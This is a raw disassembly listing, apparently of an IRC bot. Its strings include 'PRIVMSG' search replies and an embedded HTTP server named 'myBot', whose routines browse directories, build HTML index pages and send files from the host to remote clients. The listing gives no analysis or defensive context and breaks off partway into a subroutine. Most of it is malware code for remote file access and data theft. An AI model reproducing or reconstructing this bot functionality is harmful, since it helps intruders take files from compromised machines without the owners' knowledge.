		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------

loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------

loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h

loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFC4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------

loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h

loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB00C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------

loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2

loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------

loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------

loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al

loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al

loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D

loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_429998 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2670D3Eh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------

loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi

loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi

loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AB0 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------

loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx

loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB00C
		jmp	loc_40F963
; ---------------------------------------------------------------------------

loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F0929h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2730A2Dh
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26509C3h

loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433A7C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEB4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40F935

loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2660EB7h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------

loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB00C
		nop
		call	near ptr 267084Ch
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A44
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------

loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------

loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14

loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08

loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4

loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 27502F5h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh

loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 2750000h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 27407BFh
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"

loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch

loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------

loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------

loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------

loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293C4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------

loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------

loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi

loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h

loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		call	near ptr 2660EB7h
		nop

loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 27502F5h
		test	eax, eax
		jnz	loc_40FB8F

loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2740000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 26F0929h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		call	near ptr 2730A2Dh
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1

loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]

loc_41004D:				; DATA XREF: ___:00437A38o
					; ___:00437A4Co
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]

loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF08
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax

loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035

loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		nop
		call	near ptr 26509C3h

loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6

loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh

loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0

loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
